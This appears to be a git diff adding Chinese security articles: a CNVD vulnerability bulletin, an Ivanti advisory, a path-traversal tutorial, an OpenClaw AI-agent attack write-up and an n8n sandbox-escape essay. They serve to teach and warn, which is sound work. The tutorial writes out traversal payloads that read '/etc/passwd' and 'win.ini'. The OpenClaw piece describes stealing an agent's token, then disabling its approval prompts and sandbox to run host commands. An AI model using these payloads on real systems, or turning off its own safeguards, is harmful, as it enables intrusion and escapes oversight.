+![](https://mmbiz.qpic.cn/mmbiz_png/pMINP9OQkbgPteiboEBIk3kgqBf5wAhHCicCibibPSQntB0J3WjCtO8fvSvrzAA5iciaj6COvFibdicbPhib1ibZ5Csb2nrA/640?wx_fmt=png&from=appmsg "") + +图 +7 + +电 +信 +行 +业 +漏 +洞 +统 +计 + +![](https://mmbiz.qpic.cn/mmbiz_png/pMINP9OQkbgPteiboEBIk3kgqBf5wAhHCNh0FhLwF0Xhphq9qtO6FBMickickOjes2jtClo3tBXbh2wL4vmsj7h1w/640?wx_fmt=png&from=appmsg "") + +图 +8 + +移 +动 +互 +联 +网 +行 +业 +漏 +洞 +统 +计 + +![](https://mmbiz.qpic.cn/mmbiz_png/pMINP9OQkbgPteiboEBIk3kgqBf5wAhHClKS8JoYzK9yyYCkcRDdvEGIicvC1ybibnFh1MYAziavStLI8ibNb3o19pw/640?wx_fmt=png&from=appmsg "") + +图 +9 + +工 +控 +系 +统 +行 +业 +漏 +洞 +统 +计 + +  + +**本周重要漏洞安全告警** + + +本 +周 +， +C +N +V +D +整 +理 +和 +发 +布 +以 +下 +重 +要 +安 +全 +漏 +洞 +信 +息 +。 +**** + +1、Adobe产品安全漏洞 + +Adobe Dreamweaver Desktop是美国奥多比（Adobe）公司的一款网页设计与开发软件。Adobe Illustrator是美国奥多比（Adobe）公司的一套基于向量的图像制作软件。Adobe Substance3D Designer是美国奥多比（Adobe）公司的一个纹理与材质创作软件。Adobe Substance3D Modeler是美国奥多比（Adobe）公司的一款3D建模软件。Adobe Substance3D Stager是美国奥多比（Adobe）公司的一款3D场景的布景与渲染软件。本周，上述产品被披露存在多个漏洞，攻击者可利用漏洞获取敏感信息，在系统上执行任意代码，导致拒绝服务等。 + +CNVD收录的相关漏洞包括：Adobe Dreamweaver Desktop输入验证错误漏洞（CNVD-2026-07187、CNVD-2026-07188）、Adobe Illustrator代码问题漏洞、Adobe Substance3D Designer缓冲区溢出漏洞、Adobe Illustrator代码问题漏洞（CNVD-2026-07190）、Adobe Substance3D Modeler越界读取漏洞（CNVD-2026-07193）、Adobe Substance3D Designer越界读取漏洞、Adobe Substance3D Stager资源管理错误漏洞（CNVD-2026-07195）。其中，除“Adobe Illustrator代码问题漏洞、Adobe Substance3D Modeler越界读取漏洞（CNVD-2026-07193）、Adobe Substance3D Designer越界读取漏洞”外其余漏洞的综合评级为“高危”。目前，厂商已经发布了上述漏洞的修补程序。CNVD提醒用户及时下载补丁更新，避免引发漏洞相关的网络安全事件。 + +参考链接： + +https://www.cnvd.org.cn/flaw/show/CNVD-2026-07187 + +https://www.cnvd.org.cn/flaw/show/CNVD-2026-07189 + +https://www.cnvd.org.cn/flaw/show/CNVD-2026-07188 + +https://www.cnvd.org.cn/flaw/show/CNVD-2026-07191 + +https://www.cnvd.org.cn/flaw/show/CNVD-2026-07190 + +https://www.cnvd.org.cn/flaw/show/CNVD-2026-07193 + +https://www.cnvd.org.cn/flaw/show/CNVD-2026-07192 + +https://www.cnvd.org.cn/flaw/show/CNVD-2026-07195 + +2、Microsoft产品安全漏洞 + +Microsoft Excel是美国微软（Microsoft）公司的一款Office套件中的电子表格处理软件。Microsoft Office是美国微软（Microsoft）公司的一款办公软件套件产品。该产品常用组件包括Word、Excel、Access、Powerpoint、FrontPage等。Microsoft SharePoint Server是美国微软（Microsoft）公司的一套企业业务协作平台。该平台用于对业务信息进行整合，并能够共享工作、与他人协同工作、组织项目和工作组、搜索人员和信息。本周，上述产品被披露存在多个漏洞，攻击者可利用漏洞在系统上执行任意代码。 + +CNVD收录的相关漏洞包括：Microsoft Excel代码执行漏洞（CNVD-2026-07197、CNVD-2026-07196、CNVD-2026-07198）、Microsoft Office Click-To-Run代码执行漏洞、Microsoft Office代码执行漏洞（CNVD-2026-07201、CNVD-2026-07200）、Microsoft SharePoint Server远程代码执行漏洞（CNVD-2026-07202、CNVD-2026-07206）。上述漏洞的综合评级为“高危”。目前，厂商已经发布了上述漏洞的修补程序。CNVD提醒用户及时下载补丁更新，避免引发漏洞相关的网络安全事件。 + +参考链接： + +https://www.cnvd.org.cn/flaw/show/CNVD-2026-07197 + +https://www.cnvd.org.cn/flaw/show/CNVD-2026-07196 + +https://www.cnvd.org.cn/flaw/show/CNVD-2026-07199 + +https://www.cnvd.org.cn/flaw/show/CNVD-2026-07198 + +https://www.cnvd.org.cn/flaw/show/CNVD-2026-07201 + +https://www.cnvd.org.cn/flaw/show/CNVD-2026-07200 + +https://www.cnvd.org.cn/flaw/show/CNVD-2026-07202 + +https://www.cnvd.org.cn/flaw/show/CNVD-2026-07206 + +3、Siemens产品安全漏洞 + +Siemens SIMATIC CN 4100是德国西门子（Siemens）公司的一个通信节点。Siemens SINEC Security Monitor是德国西门子（Siemens）公司的一个工业安防监控器。Siemens SINEMA Remote Connect Server是德国西门子（Siemens）公司的一套远程网络管理平台。该平台主要用于远程访问、维护、控制和诊断底层网络。Siemens Software Center是一款产品。提供了一个简单、统一的工具，使客户能够管理软件交付和实施。Siemens Solid Edge SE2025是德国西门子（Siemens）公司的一款开发软件。Siemens Altair Grid Engine是美国Siemens公司的一个分布式资源管理系统。本周，上述产品被披露存在多个漏洞，攻击者可利用漏洞绕过安全限制，获取敏感信息，通过在系统上放置特制的DLL文件来执行任意代码，导致任意文件读写等。 + +CNVD收录的相关漏洞包括：Siemens SIMATIC CN 4100信任管理问题漏洞、Siemens SIMATIC CN 4100信息泄露漏洞（CNVD-2026-07562、CNVD-2026-07561）、Siemens SINEC Security Monitor输入验证错误漏洞、Siemens SINEC Security Monitor授权问题漏洞、Siemens SINEMA Remote Connect Server安全绕过漏洞、Siemens Software Center和Siemens Solid Edge SE2025代码问题漏洞、Siemens Altair Grid Engine信息泄露漏洞。其中，“Siemens SIMATIC CN 4100信任管理问题漏洞、Siemens Software Center和Siemens Solid Edge SE2025代码问题漏洞”漏洞的综合评级为“高危”。目前，厂商已经发布了上述漏洞的修补程序。CNVD提醒用户及时下载补丁更新，避免引发漏洞相关的网络安全事件。 + +参考链接： + +https://www.cnvd.org.cn/flaw/show/CNVD-2026-07560 + +https://www.cnvd.org.cn/flaw/show/CNVD-2026-07562 + +https://www.cnvd.org.cn/flaw/show/CNVD-2026-07561 + +https://www.cnvd.org.cn/flaw/show/CNVD-2026-07564 + +https://www.cnvd.org.cn/flaw/show/CNVD-2026-07563 + +https://www.cnvd.org.cn/flaw/show/CNVD-2026-07566 + +https://www.cnvd.org.cn/flaw/show/CNVD-2026-07569 + +https://www.cnvd.org.cn/flaw/show/CNVD-2026-07568 + +4、Google产品安全漏洞 + +Google Android是美国谷歌（Google）公司的一套以Linux为基础的开源操作系统。本周，上述产品被披露存在多个漏洞，攻击者可利用漏洞获取敏感信息，提升权限，导致拒绝服务。 + +CNVD收录的相关漏洞包括：Google Android权限提升漏洞（CNVD-2026-08345、CNVD-2026-08349、CNVD-2026-08352、CNVD-2026-08356、CNVD-2026-08355）、Google Android信息泄露漏洞（CNVD-2026-08354、CNVD-2026-08357）、Google Android拒绝服务漏洞（CNVD-2026-08359）。其中，“Google Android权限提升漏洞（CNVD-2026-08356）、Google Android拒绝服务漏洞（CNVD-2026-08359）”漏洞的综合评级为“高危”。目前，厂商已经发布了上述漏洞的修补程序。CNVD提醒用户及时下载补丁更新，避免引发漏洞相关的网络安全事件。 + +参考链接： + +https://www.cnvd.org.cn/flaw/show/CNVD-2026-08345 + +https://www.cnvd.org.cn/flaw/show/CNVD-2026-08349 + +https://www.cnvd.org.cn/flaw/show/CNVD-2026-08352 + +https://www.cnvd.org.cn/flaw/show/CNVD-2026-08354 + +https://www.cnvd.org.cn/flaw/show/CNVD-2026-08356 + +https://www.cnvd.org.cn/flaw/show/CNVD-2026-08355 + +https://www.cnvd.org.cn/flaw/show/CNVD-2026-08357 + +https://www.cnvd.org.cn/flaw/show/CNVD-2026-08359 + +5、WordPress插件LottieFiles – Lottie block for Gutenberg信息泄露漏洞 + +WordPress是一套使用PHP语言开发的博客平台。该平台具有在基于PHP和MySQL的服务器上架设个人博客网站的功能。WordPress plugin是一个应用插件。本周，WordPress插件LottieFiles – Lottie block for Gutenberg被披露存在信息泄露漏洞，该漏洞源于应用对于敏感信息保护不足，攻击者可利用该漏洞获取敏感信息。目前，厂商尚未发布上述漏洞的修补程序。CNVD提醒广大用户随时关注厂商主页，以获取最新版本。 + +参考链接： + +https://www.cnvd.org.cn/flaw/show/CNVD-2026-07551 + + +小 +结 +： +本 +周 +，Adobe产品被披露存在多个漏洞，攻击者可利用漏洞获取敏感信息，在系统上执行任意代码，导致拒绝服务等。此外，Microsoft、Siemens、Google等多款产品被披露存在多个漏洞，攻击者可利用漏洞绕过安全限制，获取敏感信息，提升权限，在系统上执行任意代码，导致拒绝服务等。另外，WordPress插件LottieFiles – Lottie block for Gutenberg被披露存在信息泄露漏洞 +。建议相关用户随时关注上述厂商主页，及时获取修复补丁或解决方案。 + +**本周重要漏洞攻击验证情况** +  + +本 +周 +， +C +N +V +D +建 +议 +注 +意 +防 +范 +以 +下 +已 +公 +开 +漏 +洞 +攻 +击 +验 +证 +情 +况 +。 + +**1、Tenda AX1806堆栈溢出漏洞** +**** + +**验证描述** + +Tenda AX1806是中国腾达（Tenda）公司的一个 WiFi6 无线路由器。 + +Tenda AX1806存在堆栈溢出漏洞，该漏洞是由于formSetMacFilterCfg函数中的边界检查不正确造成的，攻击者可利用该漏洞导致拒绝服务。 + +**验证信息** + +P +O +C +链 +接 +： + +https://github.com/0-fool/VulnbyCola/blob/main/Tenda/AX-1806/1/1.md + +参 +考 +链 +接 +： + +https://www.cnvd.org.cn/flaw/show/CNVD-2026-08326 + +信 +息 +提 +供 +者 + +北京启明星辰信息安全技术有限公司 + +注：以上验证信息(方法)可能带有攻击性，仅供安全研究之用。请广大用户加强对漏洞的防范工作，尽快下载相关补丁。 + + +**关于CNVD** + +国 +家 +信 +息 +安 +全 +漏 +洞 +共 +享 +平 +台 +（ +C +h +i +n +a + +N +a +t +i +o +n +a +l + +V +u +l +n +e +r +a +b +i +l +i +t +y + +D +a +t +a +b +a +s +e +， +简 +称 +C +N +V +D +） +是 +由 +C +N +C +E +R +T +联 +合 +国 +内 +重 +要 +信 +息 +系 +统 +单 +位 +、 +基 +础 +电 +信 +运 +营 +商 +、 +网 +络 +安 +全 +厂 +商 +、 +软 +件 +厂 +商 +和 +互 +联 +网 +企 +业 +建 +立 +的 +国 +家 +网 +络 +安 +全 +漏 +洞 +库 +， +致 +力 +于 +建 +立 +国 +家 +统 +一 +的 +信 +息 +安 +全 +漏 +洞 +收 +集 +、 +发 +布 +、 +验 +证 +、 +分 +析 +等 +应 +急 +处 +理 +体 +系 +。 + +**关于CNCERT** + +国 +家 +计 +算 +机 +网 +络 +应 +急 +技 +术 +处 +理 +协 +调 +中 +心 +（ +简 +称 +“ +国 +家 +互 +联 +网 +应 +急 +中 +心 +” +， +英 +文 +简 +称 +是 +C +N +C +E +R +T +或 +C +N +C +E +R +T +/ +C +C +） +， +成 +立 +于 +2 +0 +0 +2 +年 +9 +月 +， +为 +非 +政 +府 +非 +盈 +利 +的 +网 +络 +安 +全 +技 +术 +中 +心 +， +是 +我 +国 +计 +算 +机 +网 +络 +应 +急 +处 +理 +体 +系 +中 +的 +牵 +头 +单 +位 +。 + +作 +为 +国 +家 +级 +应 +急 +中 +心 +， +C +N +C +E +R +T +的 +主 +要 +职 +责 +是 +： +按 +照 +“ +积 +极 +预 +防 +、 +及 +时 +发 +现 +、 +快 +速 +响 +应 +、 +力 +保 +恢 +复 +” +的 +方 +针 +， +开 +展 +互 +联 +网 +网 +络 +安 +全 +事 +件 +的 +预 +防 +、 +发 +现 +、 +预 +警 +和 +协 +调 +处 +置 +等 +工 +作 +， +维 +护 +国 +家 +公 +共 +互 +联 +网 +安 +全 +， +保 +障 +基 +础 +信 +息 +网 +络 +和 +重 +要 +信 +息 +系 +统 +的 +安 +全 +运 +行 +。 + +网 +址 +： +w +w +w +. +c +e +r +t +. +o +r +g +. +c +n + +邮 +箱 +： +v +r +e +p +o +r +t +@ +c +e +r +t +. +o +r +g +. +c +n + +电 +话 +： +0 +1 +0 +- +8 +2 +9 +9 +1 +5 +3 +7 + + +关 +注 +C +N +V +D +漏 +洞 +平 +台 + +![](https://mmbiz.qpic.cn/mmbiz/98kRE9BEzFI2epKukvKxnLRJOLbvv5hCS2UOOfgnFECrF4XdPmId0gmLyjwB9p5QwajL31bibbV7WTVe0YLgtHA/640?wx_fmt=jpeg "") + diff --git a/doc/2026-02/Windows 驱动程序漏洞.md b/doc/2026-02/Windows 驱动程序漏洞.md new file mode 100644 index 00000000..10e195a9 --- /dev/null +++ b/doc/2026-02/Windows 驱动程序漏洞.md @@ -0,0 +1,10 @@ +# Windows 驱动程序漏洞 + TtTeam 2026-02-03 00:41 + +针对 Windows 驱动程序漏洞的概念验证 (PoC) 攻击代码，展示了可能导致权限提升、任意代码执行或其他安全风险的缺陷。仅供研究和教育用途。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/0HlywncJbB1c6r88j06ERjcnuKbAibWZ8kPe72JCYR9rcwiamnq4Q0vibrn0VkKSC9SVe3IS9xB9kfib8O4mhmg8eQ/640?wx_fmt=png&from=appmsg "") + + +https://github.com/ghostbyt3/WinDriver-EXP + diff --git a/doc/2026-02/【已复现】Ivanti EPMM存在命令注入漏洞（CVE-2026-1281&CVE-2026-1340）.md b/doc/2026-02/【已复现】Ivanti EPMM存在命令注入漏洞（CVE-2026-1281&CVE-2026-1340）.md new file mode 100644 index 00000000..5708955c --- /dev/null +++ b/doc/2026-02/【已复现】Ivanti EPMM存在命令注入漏洞（CVE-2026-1281&CVE-2026-1340）.md @@ -0,0 +1,125 @@ +# 【已复现】Ivanti EPMM存在命令注入漏洞（CVE-2026-1281&CVE-2026-1340） +安恒研究院 + 安恒研究院 安恒信息CERT 2026-02-02 11:30 + +![](https://mmbiz.qpic.cn/mmbiz_jpg/JAzzLj4nXevmL5H6C1I6nWLYOHeic25ZZq3Sju5Xs1LnOckux8PBqG1qYrBly0Nicx4verjADnLorl5g1ImeuTeg/640?wx_fmt=jpeg&from=appmsg&wx_&wx_#imgIndex=0 "") + +

漏洞概述

漏洞名称

Ivanti EPMM存在命令注入漏洞（CVE-2026-1281&CVE-2026-1340）

安恒CERT评级

1级


CVSS3.1评分

9.8

CVE编号

CVE-2026-1281、

CVE-2026-1340

CNVD编号

未分配

CNNVD编号

CNNVD-202601-4864、

CNNVD-202601-4863

安恒CERT编号

DM-202601-004811、

DM-202601-004812

POC情况

已发现

EXP情况

已发现

在野利用

已发现

研究情况

已复现

危害描述


Ivanti Endpoint Manager Mobile (EPMM)披露存在未授权命令注入漏洞（CVE-2026-1281、CVE-2026-1340）。由于系统核心组件在处理外部输入时存在严重的过滤缺陷，远程且未经身份验证的攻击者可通过构造恶意的 HTTP 请求，在目标服务器上实现任意命令执行。官方确认，该漏洞已在野外被积极利用，攻击目标指向关键基础设施的移动端管控平台。


+ +**该产品主要使用客户行业分布广泛，漏洞危害性极高，建议客户尽快做好自查及防护。** + +**安恒研究院卫兵实验室已复现此漏洞。** + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/Qiao60gtLmwVX35jTRnRGRRwLtVYJLS5L8KXlSD6KbxuA6ZibWzV0UDOdqFj8DUe1aB8h9jKaGgTGtriaOJv20GtQ/640?wx_fmt=png&from=appmsg "") + +复现截图 + + + +**漏洞信息** + + + + +Ivanti EPMM（端点管理器移动版）是一款企业级移动设备与应用程序管理（MDM/EMM/UEM）解决方案。它专注于帮助企业管理员工移动设备、保障企业数据安全，并安全地分发企业应用程序。其核心功能包括设备合规性监控、应用级数据容器化隔离，以及提供安全的移动生产力工具。 + + +**漏洞描述** + +**漏洞危害等级：** +严重 + +**漏洞类型：** +命令注入 + + +**影响范围** + +**影响版本：** + +Ivanti Endpoint Manager Mobile <= 12.5.0.0 + +Ivanti Endpoint Manager Mobile <= 12.5.1.0 + +Ivanti Endpoint Manager Mobile <= 12.6.0.0 + +Ivanti Endpoint Manager Mobile <= 12.6.1.0 + +Ivanti Endpoint Manager Mobile <= 12.7.0.0 + +**CVSS向量** + +访问途径（AV）：网络 + +攻击复杂度（AC）：低 + +所需权限（PR）：无 + +用户交互（UI）：无 + +影响范围 （S）：不变 + +机密性影响 （C）：高 + +完整性影响 （l）：高 + +可用性影响 （A）：高 + + + + +**修复方案** + + + + +**官方修复方案：** + +此漏洞的永久修复程序将包含在下一个产品版本 +12.8.0.0 +中（将于 +2026 +年第一季度发布） +， +官方已发布 +临时修复补丁 +，受影响的用户建议及时下载补丁包进行漏洞修复 +。 + +RPM_12.x.0.x 适用版本：12.5.0.x、12.6.0.x 和 12.7.0.x + +RPM_12.x.1.x 适用版本：12.5.1.0 和 12.6.1.0 + +兼容版本：12.3.0.x 和12.4.0.x + +https://username:password@support.mobileiron.com/mi/vsp/AB1771634/ivanti-security-update-1761642-1.0.0S-5.noarch.rpm + +https://username:password@support.mobileiron.com/mi/vsp/AB1771634/ivanti-security-update-1761642-1.0.0L-5.noarch.rpm + +**产品能力覆盖** + + + + +

产品名称

覆盖补丁包

AiLPHA大数据平台

GoldenEyeIPv6_XXXXX_strategy2.0.XXXXX.260202.1及以上版本

APT攻击预警平台

GoldenEyeIPv6_XXXXX_strategy2.0.XXXXX.260202.1及以上版本

WAF

已支持

玄武盾

已支持

+ + +**参考资料** + + + + + +https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-Endpoint-Manager-Mobile-EPMM-CVE-2026-1281-CVE-2026-1340 + + + + + +**技术支持** + + + + +如有漏洞相关需求支持请联系400-6059-110获取相关能力支撑。 + diff --git a/doc/2026-02/【服务端漏洞-路径遍历-第一章第一节】服务器漏洞解析第一弹：一文读懂路径遍历漏洞.md b/doc/2026-02/【服务端漏洞-路径遍历-第一章第一节】服务器漏洞解析第一弹：一文读懂路径遍历漏洞.md new file mode 100644 index 00000000..ac043c65 --- /dev/null +++ b/doc/2026-02/【服务端漏洞-路径遍历-第一章第一节】服务器漏洞解析第一弹：一文读懂路径遍历漏洞.md @@ -0,0 +1,92 @@ +# 【服务端漏洞-路径遍历-第一章第一节】服务器漏洞解析第一弹：一文读懂路径遍历漏洞 +原创 升斗安全XiuXiu + 升斗安全XiuXiu 升斗安全 2026-02-02 14:37 + +**【文章说明】** +- **目的** +：本文内容仅为网络安全**技术研究与教育** +目的而创作。 + +- **红线** +：严禁将本文知识用于任何**未授权** +的非法活动。使用者必须遵守《网络安全法》等相关法律。 + +- **责任** +：任何对本文技术的滥用所引发的**后果自负** +，与本公众号及作者无关。 + +- **免责** +：内容仅供参考，作者不对其准确性、完整性作任何担保。 + +**阅读即代表您同意以上条款。** + +**** +今天开始，这边将给大家分享一些有关服务器端的漏洞内容。作为开头的一篇，我们就先来了解下有关“ +路径遍历”的相关内容。 + +首先我们先了解什么是 +路径遍历： + +路径遍历亦称 +目录遍历。这类漏洞使得攻击者能够 +读取运行应用程序的服务上的 +任意文件，可能包括： +- 应用程序代码与数据 + +- 后端系统凭证 + +- 敏感的操作系统文件 + + +在某些情况下，攻击者甚至可能向服务器上的任意文件 +执行写入操作，从而篡改应用程序数据或行为，最终完全控制服务器。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/VPUK6Jz75Q2iclrcLcCfPoZHxs5eSU9zviaOZGiazdbx4dRKUZfG3N4RXHCxb8Deic9rT2moQS8kWVReibZN9DT6SNg/640?wx_fmt=png&from=appmsg "") + +其次，我们也先大概了解下，攻击者是如何通过路径遍历读取任意文件的。 + +假设有一个购物网站，通过以下HTML代码加载商品展示图片： +``` + +``` + +loadImage 接口接收  +filename 参数并返回指定文件的内容。图片文件实际存储在服务器的  +/var/www/images/ 目录下。应用程序会将被请求的文件名拼接至该基础目录后，再通过文件系统API读取文件内容。也就是说，程序 +实际读取的文件路径为： + +/var/www/images/218.png + +该应用未部署任何针对路径遍历攻击的防护措施。因此，攻击者可通过构造以下URL来获取服务器文件系统中的  +/etc/passwd 文件： + + +https://insecure-website.com/loadImage?filename= +../../../etc/passwd + + +这将导致应用程序尝试读取以下文件路径： + +/var/www/images/ +../../../etc/passwd + +../ 在文件路径中表示向上一级目录跳转。连续使用三个  +../ 符号可从 /var/www/images/ 目录回退至文件系统根目录 /，因此实际被读取的文件是： + +/etc/passwd + +在基于 +Unix的操作系统中，这是存储服务器注册用户信息的标准文件。攻击者使用相同手法还可获取其他任意文件。【只要我们知道这类服务器的默认文件路径和文件名即可】 + +在 +Windows系统中， +../ 和  +..\ 均为有效的目录遍历符号。以下是对基于Windows服务器相同效果的攻击示例【同样的，需要知道对应服务器的默认文件路径和文件名】： + +https://insecure-website.com/loadImage?filename= +..\..\..\windows\win.ini + +好了，有关路径遍历漏洞的基础原理，就先分享到这里，这边后续会结合实际场景，给大家分享一些实际漏洞利用效果，以及更多有关服务器漏洞的原理、利用方式等内容，感兴趣的可以点点关注。 + +觉得文章有用的话，一键三连（点赞、分享、关注），就是对我最大的鼓励，谢谢。 + diff --git a/doc/2026-02/一键Clawdbot漏洞：启动恶意远程代码执行攻击.md b/doc/2026-02/一键Clawdbot漏洞：启动恶意远程代码执行攻击.md new file mode 100644 index 00000000..caa421dd --- /dev/null +++ b/doc/2026-02/一键Clawdbot漏洞：启动恶意远程代码执行攻击.md @@ -0,0 +1,80 @@ +# 一键Clawdbot漏洞：启动恶意远程代码执行攻击 +O安全研究员 + O安全研究员 O安全研究员 2026-02-02 12:01 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/dzJiaU8Wt1qzucz9n0R5nibtXMzxAviaLyNc5VJh1N5SfiaESxC4pDl58g4cKVWV15ia8TNfMqFc5mWrz0nPiccqCHSQ/640?wx_fmt=png&from=appmsg "") + + +OpenClaw——这款被超过10万开发者信赖的开源AI个人助手——中的一个关键漏洞已被发现并被武器化，成为一项毁灭性的一键远程代码执行漏洞。 + + +depthfirst通用安全情报公司的安全研究人员发现了一个逻辑缺陷，结合其他漏洞，可能引发连锁反应。 + + +允许攻击者通过单一恶意链接完全控制受害者系统，无需用户作。 + +## 漏洞概览：技术攻击机制 + + +OpenClaw 的架构赋予 AI 代理“神模式”访问消息应用、API 密钥以及对本地计算机的无限制控制权。 + + +尽管社区对该平台的热情推动了快速采用，但在如此高特权环境下，安全容错空间变得极其有限。 + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/dzJiaU8Wt1qzucz9n0R5nibtXMzxAviaLyNFic3iaYXJBqJAOv3b6pzwpp20z9coyhbZ9n1Isz2j0KiajWtibdolbEGsg/640?wx_fmt=png&from=appmsg "") + + +新披露的漏洞利用了三个独立的组件，这些组件是依次工作的：不安全的URL参数摄取、无需验证即可立即连接网关，以及自动传输认证令牌。 + + +利用链从三个看似无害的作开始，这些作在代码库中独立发生。 + + +app-settings.ts模块盲目接受 URL 中的 gatewayUrl 查询参数，无需验证，然后直接存储在 localStorage。 + + +在设置应用后，app-lifecycle.ts会立即触发connectGateway（），该命令会自动将安全敏感的authToken捆绑到攻击者控制的网关服务器的连接握手中。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/dzJiaU8Wt1qzucz9n0R5nibtXMzxAviaLyN787A2KaEOKXZNn3N2dzWkmagzUfSbowB8tA3hZXjELuDMnxMUQeAFg/640?wx_fmt=png&from=appmsg "") + + +这种模式造成了关键信息披露的漏洞。杀链还利用了WebSocket起源验证的一个额外漏洞。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/dzJiaU8Wt1qzucz9n0R5nibtXMzxAviaLyNudA7UYPRU3JiadWiamoRzc0G4JYl9mYbzrzJJ6n9MwpUSsvliaWOWGUSw/640?wx_fmt=png&from=appmsg "") + + +当受害者访问恶意网页时，攻击者注入的JavaScript会在其浏览器上下文中执行，建立与受害者在localhost：18789上运行的OpenClaw实例的本地连接。 + + +与标准 HTTP 连接不同，浏览器 WebSocket 实现不强制执行同源策略保护;相反，它们依赖服务器端起源头部验证，而 OpenClaw 完全省略了这一点。 + + +这种跨站WebSocket劫持（CSWSH）使攻击者能够通过受害者的浏览器作为代理进行转换。 + + +一旦通过被盗令牌认证，攻击者就会利用操作员。行政和操作员岗位。批准，以及关闭安全机制的范围。 + + +执行 aponce.set 请求会关闭用户确认提示，而配置则是补丁请求将 tools.exec.host 设置为“网关”，强制命令直接在主机上执行，而非容器化沙箱内。 + + +最终有效载荷调用节点。用任意的bash命令调用，实现系统完全被攻破。 + +## 缓解措施 + + +OpenClaw 开发团队迅速修复了该漏洞，实现了网关 URL 确认模态，消除了导致攻击的无提示自动连接行为。 + + +DepthFirst 建议所有运行 v2026.1.24-1 之前版本的用户仍处于风险状态，应立即升级。 + + +管理员应轮换认证令牌，并审计命令执行日志是否有可疑活动。 + + +此事件凸显了在未经过配置变更和网络连接的稳健验证的情况下，向AI代理提供无限制系统访问所带来的安全风险。 + + +部署 OpenClaw 的组织应实现额外的网络分段，限制 AI 代理进程的出站 WebSocket 连接，并严格维护认证令牌使用和权限修改的审计日志。 + diff --git a/doc/2026-02/为什么 JS∕Python 沙箱这么难搞？从 n8n 的两个 RCE 漏洞谈起.md b/doc/2026-02/为什么 JS∕Python 沙箱这么难搞？从 n8n 的两个 RCE 漏洞谈起.md new file mode 100644 index 00000000..84295fff --- /dev/null +++ b/doc/2026-02/为什么 JS∕Python 沙箱这么难搞？从 n8n 的两个 RCE 漏洞谈起.md @@ -0,0 +1,76 @@ +# 为什么 JS/Python 沙箱这么难搞？从 n8n 的两个 RCE 漏洞谈起 +原创 Hankzheng + Hankzheng 技术修道场 2026-02-02 23:55 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/wWBwsDOJT4ib97eCYFf5iaDVXwxF4yfUIn308chat0SCADDRHibic24ico5EneOVjyEcCnfN6YJZYPXicWjpkaMBx6pg/640?wx_fmt=png&from=appmsg "") + +前两天和几个做架构的朋友撸串，聊起现在大火的 **AI 工作流自动化** +。大家都在用 n8n 来串联各种 API 和 LLM，甚至有人开玩笑说：“只要 n8n 玩得好，下班回家早”。 + +但作为在安全圈摸爬滚打多年的挨踢人，我当时就提了个醒：**这种把所有“重要信息”（API Key、数据库权限、IAM 凭证）都交给一个平台的做法，一旦被破防，那就是全线崩溃。** + +果不其然，这两天安全圈炸锅了。JFrog 研究团队刚披露了 n8n 的两个“重量级”漏洞，其中一个评分高达 **9.9** +！这意味着什么？意味着黑客只要拿到一个普通账号，就能分分钟把你的整个 n8n 实例给“端”了。 +## 1. 为什么这次漏洞这么“毒”？ + +大家可能觉得，需要“认证后”才能触发的漏洞没那么可怕。但你要知道，n8n 在企业内部通常连接着核心业务：销售数据、LLM API、甚至是内部权限管理系统（IAM）。 +> JFrog 的副总裁打了个很形象的比喻：这就像是黑客拿到了全公司的**“万能钥匙”** +。即便是在内部执行模式下，一旦实现 RCE（远程代码执行），你的服务器就彻底成了人家的“肉鸡”。 + +## 2. 硬核拆解：沙箱是怎么被“玩坏”的？ + +这次出问题的核心在于 **沙箱逃逸（Sandbox Escape）** +。咱们重点看看这两个高危漏洞的技术逻辑： +### ● CVE-2026-1470 (CVSS 9.9)：JS 注入的“绝命毒师” + +n8n 允许用户在节点中使用 JavaScript 表达式。为了安全，官方设计了一套基于 **AST（抽象语法树）** + 分析和白名单过滤的沙箱机制。 +- **实现难点：** + 如何在允许用户写逻辑的同时，禁止他们调用 process + 或 child_process +？ + +- **漏洞成因：** + 黑客利用了一些极度冷门、甚至是被弃用的 JS 语法特性，配合 Node.js 运行时的异常处理机制，成功绕过了 AST 静态检查。 + +- **后果：** + 攻击者构造了一段“看起来很萌”的 JS 代码，让 n8n 误以为安全并执行，结果直接拿到了主进程权限。 + +### ● CVE-2026-0863 (CVSS 8.5)：Python 执行器的“金蝉脱壳” + +n8n 的 Python 节点使用了一个名为 python-task-executor + 的组件。 +- **技术点：** + 这里涉及 **Eval 注入** +。即便官方做了多层校验，但 Python 作为动态语言实在是太灵活了。 + +- **破防手段：** + 研究员发现，通过特定的解释器行为和底层的特殊变量访问，可以突破受限环境，直接在宿主操作系统上跑任意 Python 代码。 + +## 3. 深度反思：沙箱防线为何难守？ + +作为搞了多年后端的人，我也深有感触。研究员 Nathan Nehorai 说了一句很扎心的话：**“想要完全封锁 JS 和 Python 这种高阶动态语言的沙箱，简直是难如登天。”** + +即便你做了： +**1. 多层校验** +**2. 黑名单过滤** +**3. AST 静态分析** + +但只要解释器更新了、或者某些边缘语法没处理干净，黑客就能通过**“嵌套、异常抛出、运行时反射”** +等骚操作，把原本死掉的代码“复活”。这就是动态语言的魅力，也是安全官的噩梦。 +## 4. 你的 n8n 还在“裸奔”吗？ + +最让人头大的是，截至 1 月底，全网竟然还有 **39,000 多个** + n8n 实例暴露在之前的漏洞威胁之下。如果你还在用旧版本，听哥一句劝，赶紧升！ +
漏洞编号
安全版本建议
CVE-2026-1470
1.123.17 / 2.4.5 / 2.5.1+
CVE-2026-0863
1.123.14 / 2.3.5 / 2.4.2+
